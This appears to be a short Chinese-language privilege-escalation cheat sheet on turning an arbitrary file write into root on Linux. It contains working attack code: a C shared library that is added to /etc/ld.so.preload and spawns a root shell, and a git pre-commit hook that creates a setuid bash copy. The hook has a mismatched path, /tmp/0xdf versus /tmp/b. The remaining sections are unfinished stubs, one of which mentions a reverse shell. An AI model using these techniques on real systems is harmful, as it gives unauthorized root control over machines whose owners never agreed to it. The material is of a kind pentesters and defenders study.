Arbitrary File Write to Root
/etc/ld.so.preload
这个文件的行为类似于**LD_PRELOAD
环境变量,但它也适用于SUID二进制文件**。
如果您可以创建或修改它,只需添加一个将随每个执行的二进制文件一起加载的库的路径。
例如:echo "/tmp/pe.so" > /etc/ld.so.preload
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles
Git hooks
Git hooks是在git存储库中的各种事件(例如创建提交,合并等)上运行的脚本。因此,如果一个特权脚本或用户频繁执行这些操作并且可以写入.git
文件夹,这可能被用于提权。
例如,可以在git存储库的**.git/hooks
**中生成一个脚本,以便在创建新提交时始终执行:
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit
Cron & Time files
待办事项
Service & Socket files
待办事项
binfmt_misc
位于/proc/sys/fs/binfmt_misc
的文件指示哪个二进制文件应该执行哪种类型的文件。待办事项:检查滥用此功能以在打开常见文件类型时执行反向shell的要求。
最后更新于